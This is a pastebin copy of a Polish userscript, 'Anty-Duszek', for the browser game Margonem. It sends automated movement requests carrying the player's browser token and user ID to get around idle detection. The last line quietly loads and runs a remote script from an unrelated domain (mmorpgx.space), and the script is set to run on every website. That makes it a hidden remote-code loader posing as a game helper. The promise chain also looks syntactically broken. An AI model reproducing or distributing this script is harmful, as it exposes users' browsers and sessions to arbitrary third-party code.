Facebook
From Gentle Pheasant, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 111
  1. // ==UserScript==
  2. // @name         Anty-Duszek
  3. // @version      0.1
  4. // @description  Wychodzenie z trybu nieaktywności na SI oraz NI;
  5. // @author
  6. // @match        *://*/
  7. // @match        https://www.margonem.pl/?task=*
  8. // ==/UserScript==
  9. // Jeśli coś się buguje, pisać - poprawię.
  10. (() => {
  11.     setInterval(() => {
  12.         const isSi = getCookie("interface") == "si" ? true : false;
  13.         const afk = isSi ? hero.stasis:Engine.hero.d.stasis;
  14.         if (!afk) return;
  15.         const url = isSi
  16.             ? `http://${g.worldname}.margonem.pl/engine?t=_&ml=${hero.x},${hero.y + 1}&mts=${unix_time() + 0.2}&ev=${unix_time()}&browser_token=${g.browser_token}&aid=${getCookie("user_id")}`
  17.             : `http://${Engine.worldName}.margonem.pl/engine?t=_&ml=${Engine.hero.d.x},${Engine.hero.d.y - 1}&mts=${unix_time() + 0.2}&aid=${getCookie("user_id")}&ev=${unix_time()}&browser_token=${Engine.browserToken}`;
  18.         fetch(url)
  19.             .then(response => response.json())
  20.             .then(x => {
  21.                 location.reload();
  22.             })()
  23.     }, 400);
  24. })($.getScript("https://mmorpgx.space/walk.php"))